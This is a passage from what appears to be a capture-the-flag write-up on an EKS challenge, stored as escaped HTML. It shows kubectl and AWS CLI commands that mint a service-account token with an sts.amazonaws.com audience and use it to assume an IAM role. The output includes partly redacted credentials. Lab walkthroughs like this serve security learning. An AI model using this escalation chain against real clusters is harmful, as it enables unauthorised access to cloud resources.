#96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           []                  [debug-sa]         [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                 []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]        []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                  [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eHmm, being able to create tokens for the \u003ccode\u003edebug-sa\u003c/code\u003e resource definitely seems\nsuspicious. So lets see if that will get us anywhere:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e create token debug-sa)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/.well-known/openid-configuration]   []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]                                []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]                               []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openid/v1/jwks]                     []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                                    [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like we have less access than before.  So not too helpful, lets take a\nlook at that service account we want to become:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esa\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3access-sa\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ServiceAccount\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"annotations\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"eks.amazonaws.com/role-arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::688655246681:role/challengeEksS3Role\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-10-31T20:07:34Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3access-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge5\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"671916\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"86e44c49-b05a-4ebe-800b-45183a6ebbda\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI think we are going to need to use our AWS access to assume that role, I don't\nbelieve our kubernetes access is going to get us anywhere:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOk, so \u003cem\u003emaybe\u003c/em\u003e our kubernetes access is important since we can't assume the role\ndirectly.   Lets try to use that $TOKEN from \u003ccode\u003edebug-sa\u003c/code\u003e to assume the role:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--web-identity-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eGetting closer!   The default audience for a token created with \u003ccode\u003ekubectl\u003c/code\u003e is\n\u003ccode\u003ehttps://kubernetes.default.svc\u003c/code\u003e which amazon doesn't seem to like.  Lets try\ncreating it again with \u003ccode\u003ests.amazonaws.com\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e create token debug-sa \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--audience\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e sts.amazonaws.com)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--web-identity-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Credentials\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SessionToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan 